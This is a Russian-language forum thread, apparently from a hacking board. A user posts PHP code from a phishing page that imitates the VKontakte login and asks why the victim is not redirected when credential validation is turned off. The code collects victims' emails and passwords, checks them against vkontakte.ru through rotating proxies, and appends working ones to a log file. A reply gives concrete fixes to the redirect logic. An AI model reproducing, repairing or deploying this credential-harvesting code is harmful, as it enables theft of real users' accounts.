Есть фейк, в нём имеются опции: проверка на валидность и использование прокси. Когда отключаешь проверку на валидность, после ввода жертвой пароля нет переадрисации по заданной ссылке. Что нужно изменить? Сам пробовал, но Php я не знаю вообще. Вот кусок кода: PHP: if(isset($_POST['email']) && isset($_POST['pass'])){ $email = trim($_POST['email']); $pass = $_POST['pass']; if($valide_check){ $email = str_replace('@', '%40', $email); $post_data = "success_url=&fail_url=&try_to_login=1&email=$email&pass=$pass"; $post_len = strlen($post_data); $h = "POST http://vkontakte.ru/login.php HTTP/1.0\r\n"; $h .= "Host: vkontakte.ru\r\n"; if($use_proxy){ $h .= "Connection: Close\r\n"; } $h .= "Referer: http://vkontakte.ru/login.php\r\n"; $h .= "Content-Type: application/x-www-form-urlencoded\r\n"; $h .= "Content-length: $post_len\r\n"; $h .= "Cookie: remixchk=5; remixlang=0\r\n"; $h .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\r\n\r\n"; $h .= $post_data."\r\n\r\n"; if(!$use_proxy){ $fp = fsockopen('vkontakte.ru', '80', $errno, $errstr, '55'); } else { $pr = file($proxy_file); $proxy_count = count($pr)-1; $mix = rand('0', $proxy_count); $proxy = explode(':', $pr[$mix]); $fp = fsockopen($proxy[0], $proxy[1], $errno, $errstr, '55'); } if($fp) { fwrite($fp, $h); $outdata = ''; while(!feof($fp)){ if (!$outdata .= fread($fp, '1024')){ $outdata = ''; } } fclose($fp); } else { echo $errno.'<br/>'.$errstr; } if(strstr($outdata, '302 Found') || strstr($outdata, '302 Moved')){ echo '<meta http-equiv="Refresh" content="0; url='.$success_url.'"'; $flog = fopen($file_log, 'a'); if($flog){ fwrite($flog, str_replace('%40', '@', $email).';'.$pass."\r\n"); fclose($flog); } else { die('Failed to open file: '.$file_log); } } else { /* echo '<meta http-equiv="Refresh" content="0; url='.$fail_url.'"'; */ ?>
Ну тогда измени echo '<meta http-equiv="Refresh" content="0; url='.$success_url.'"'; На header("Location: $success_url");
/* echo '<meta http-equiv="Refresh" content="0; url='.$fail_url.'"'; */ тут символ /* и */ - начало и конец комментария. Просто удали их, строчка в таком варианте есс-но не работает, ибо закомментированна